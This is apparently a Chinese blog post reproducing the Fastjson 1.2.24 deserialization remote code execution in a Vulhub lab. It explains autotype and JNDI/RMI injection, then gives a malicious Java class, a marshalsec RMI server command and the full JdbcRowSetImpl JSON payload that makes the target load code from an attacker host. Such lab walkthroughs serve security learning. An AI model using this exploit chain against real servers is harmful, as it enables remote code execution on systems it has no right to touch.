国内做外贸如何访问外国网站,百度竞价开户3000,网站微信分享链接怎么做的,做网站 帮别人卖服务器#x1f36c; 博主介绍#x1f468;#x1f393; 博主介绍#xff1a;大家好#xff0c;我是 hacker-routing #xff0c;很高兴认识大家~
✨主攻领域#xff1a;【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
#x1f389;点赞➕评论➕收… 博主介绍 博主介绍大家好我是 hacker-routing 很高兴认识大家~
✨主攻领域【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 养成习惯一键三连
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限欢迎各位大佬指点相互学习进步 目录
0x1 前言
0x2 漏洞原理及介绍
1、什么是json
2、Fastjson概述
3、Fastjson漏洞原理
4、Fastjson漏洞利用详解
0x3 环境搭建
0x4 漏洞复现
1、远程创建文件
2、开启RMI服务
0x5 总结 0x1 前言
Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞他是阿里巴巴的开源库下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞 0x2 漏洞原理及介绍
1、什么是json
json是一种数据格式对于我们互联网来说我们服务器和客户端有大量的数据需要进行传输。以前通用的方式是xml但是xml数据体重太大效率低下所以就有了另外一种数据格式叫json。
json一共有两种体现
json对象、json数组json对象json本身是一个字符串{建值, 建值}
举例
{name : routing,2003-11-11,age : 20,likes : [看电影 , 看书]
}2、Fastjson概述
FastJson是啊里巴巴的的开源库用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。
Fastjson 是一个 Java 库提供了Java 对象与 JSON 相互转换。
toJSONString()方法序列化将json对象转换成JSON字符串parseObject()方法反序列化将JSON字符串转换成json对象。
使用方式
//序列化
String text JSON.toJSONString(obj);
//反序列化
VO vo JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo JSON.parseObject({...}); //JSON文本解析成JSONObject类型
VO vo JSON.parseObject({...}, VO.class); //JSON文本解析成VO.class类 3、Fastjson漏洞原理
fastjson为了读取并判断传入的值是什么类型增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型每次都需要读取type而type可以指定反序列化任意类调用其setgetis方法并且由于反序列化的特性我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务将rmi绝对路径注入到lookup方法中受害者JNDI接口会指向攻击者控制rmi服务器JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行形成RCE。
【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务DNSLDAPRMICORBA等】
关于JNDI注入大家可以看我之前写的一篇关于log4j的JNDI注入漏洞的详细介绍
JNDI注入原理及利用IDEA漏洞复现-CSDN博客 4、Fastjson漏洞利用详解
1、攻击者我们访问存在fastjson漏洞的目标靶机网站通过burpsuite抓包改包以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候会加载执行我们构造的恶意信息(访问rmi服务器)靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器靶机服务器需要执行什么命令啊
3、rmi 服务器请求加载远程机器的class这个远程机器是我们搭建好的恶意站点提前将漏洞利用的代码编译得到.class文件并上传至恶意站点得到攻击者我们构造好的命令ping dnslog或者创建文件或者反弹shell啥的
4、rmi将远程加载得到的class恶意代码作为响应返回给靶机服务器。
5、靶机服务器执行了恶意代码被攻击者成功利用。
这里给大家看看红队大佬的图解希望对大家理解fastjson漏洞原理的利用有帮助。 0x3 环境搭建
靶机Ubantu IP 192.168.103.161 先要安装docker然后下载vulhub 启动vulhub里面的fastjson环境
攻击机kali IP 192.168.103.129
我们先利用Ubantu进入vulnhub靶场进入/vulhub/fastjson/1.2.24-rce目录下然后执行以下命令看到done那么就表示环境开启成功了。
docker-compose up -d查看我们ubantu中docker开启环境的端口情况端口是8090
docker ps -a我们访问 ubantu的IP端口192.168.103.161:8090得到如下的界面 0x4 漏洞复现
1、远程创建文件
一、这里要创建java代码文件所以对环境比较严格要保证java和javac的版本一致且都是1.8的版本 二、我们先在本地把java代码文件编译好然后再上传到攻击机kali下保存以下代码为TouchFile.java文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt Runtime.getRuntime();String[] commands {touch, /tmp/successFrank};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}三、编译.java文件生成.class文件。
javac TouchFile.java四、然后我们再把编译好的.class文件上传到攻击机kali目录下 五、在class文件所在的目录Python起一个http服务。用4444端口启动http服务的命令为
┌──(rootkali)-[~/桌面/fastjson]
└─# python -m http.server 4444六、访问kali的IP开启http服务的4444端口就会出现下面的页面 2、开启RMI服务
一、开启rmi服务之前我们需要利用marshalsec项目需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具下载链接如下Apache-Log4j-Learning/tools at main · bkfish/Apache-Log4j-Learning · GitHub 二、接下来使用marshalsec项目启动RMI服务监听9999端口并加载远程类TouchFile.class
开启RMI服务命令行中的IP地址是kali攻击机开始开启http服务的地址
┌──(rootkali)-[~/桌面/Apache-Log4j-Learning-main/tools]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.103.129:4444/#TouchFile 9999三、利用burp抓取靶机ubantu192.168.103.161:8090的包然后再改变抓到的包的请求方式为POST然后再发送到Repeater中。 四、添加payload师傅们可以参考我这个请求包的内容因为我开始在网上找了很多然后rmi服务监听都没有回应都失败了。
POST / HTTP/1.1
Host: 192.168.103.161:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q0.9
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age0
Content-Type: application/json
Content-Length: 165{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.103.129:9999/TouchFile,autoCommit:true}
}主要是看这两个地方圈起来的是主要payload然后看是否成功执行了就看返回包中是否回显500关键字。 然后可以看到rmi服务的监听和开启的http服务都有回应了。 五、我们开始的TouchFile.java这个脚本文件我们是让他执行touch /tmp/successFrank 目录文件我们来看看是否执行成功了。 详细步骤如下
1、docker ps //找到CONTAINER ID2、docker exec -it CONTAINER ID /bin/bash //就可以进入CONTAINER ID当前目录下了3、cd /tmp 4、ls //就可以看到创建的successFrank文件了目前我们就把漏洞复现成功了 0x5 总结
JDK1.8安装详细教程Kali安装JDK 1.8的详细过程_kali安装jdk1.8-CSDN博客
安装vulnhub详细教程Kali Linux 2020安装vulhub_kali2020上安装vulhub-CSDN博客
哔哩哔哩视频讲解【fastjson反序列化漏洞演示加详细讲解加原理】 fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili